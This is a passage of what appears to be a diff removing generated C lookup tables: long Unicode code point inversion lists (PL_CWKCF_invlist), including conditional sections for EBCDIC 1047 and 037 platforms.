0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F71, - 0x1F72, - 0x1F73, - 0x1F74, - 0x1F75, - 0x1F76, - 0x1F77, - 0x1F78, - 0x1F79, - 0x1F7A, - 0x1F7B, - 0x1F7C, - 0x1F7D, - 0x1F7E, - 0x1F80, - 0x1FB0, - 0x1FB2, - 0x1FB5, - 0x1FB7, - 0x1FC5, - 0x1FC7, - 0x1FD0, - 0x1FD3, - 0x1FD4, - 0x1FD8, - 0x1FDC, - 0x1FDD, - 0x1FE0, - 0x1FE3, - 0x1FE4, - 0x1FE8, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF7, - 0x1FFF, - 0x2000, - 0x2010, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202A, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2183, - 0x2184, - 0x2189, - 0x218A, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7C, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x309B, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA69E, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA771, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xAB70, - 0xABC0, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE00, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF0, - 0xFFF9, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1BCA0, - 0x1BCA4, - 0x1D15E, - 0x1D165, - 0x1D173, - 0x1D17B, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1E900, - 0x1E922, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E, - 0xE0000, - 0xE1000 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CWKCF_invlist[] = { /* for EBCDIC 037 */ - 1639, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x59, - 0x5A, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9A, - 0x9C, - 0x9D, - 0x9F, - 0xA0, - 0xA1, - 0xAC, - 0xAF, - 0xB7, - 0xBA, - 0xBC, - 0xBF, - 0xC1, - 0xCB, - 0xD1, - 0xDB, - 0xE2, - 0xF0, - 0xFA, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x340, - 0x342, - 0x343, - 0x346, - 0x34F, - 0x350, - 0x370, - 0x371, - 0x372, - 0x373, - 0x374, - 0x375, - 0x376, - 0x377, - 0x37A, - 0x37B, - 0x37E, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x587, - 0x588, - 0x61C, - 0x61D, - 0x675, - 0x679, - 0x958, - 0x960, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB5C, - 0xB5E, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10FC, - 0x10FD, - 0x115F, - 0x1161, - 0x13F8, - 0x13FE, - 0x17B4, - 0x17B6, - 0x180B, - 0x180F, - 0x1C80, - 0x1C89, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9A, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F71, - 0x1F72, - 0x1F73, - 0x1F74, - 0x1F75, - 0x1F76, - 0x1F77, - 0x1F78, - 0x1F79, - 0x1F7A, - 0x1F7B, - 0x1F7C, - 0x1F7D, - 0x1F7E, - 0x1F80, - 0x1FB0, - 0x1FB2, - 0x1FB5, - 0x1FB7, - 0x1FC5, - 0x1FC7, - 0x1FD0, - 0x1FD3, - 0x1FD4, - 0x1FD8, - 0x1FDC, - 0x1FDD, - 0x1FE0, - 0x1FE3, - 0x1FE4, - 0x1FE8, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF7, - 0x1FFF, - 0x2000, - 0x2010, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202A, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2183, - 0x2184, - 0x2189, - 0x218A, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7C, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 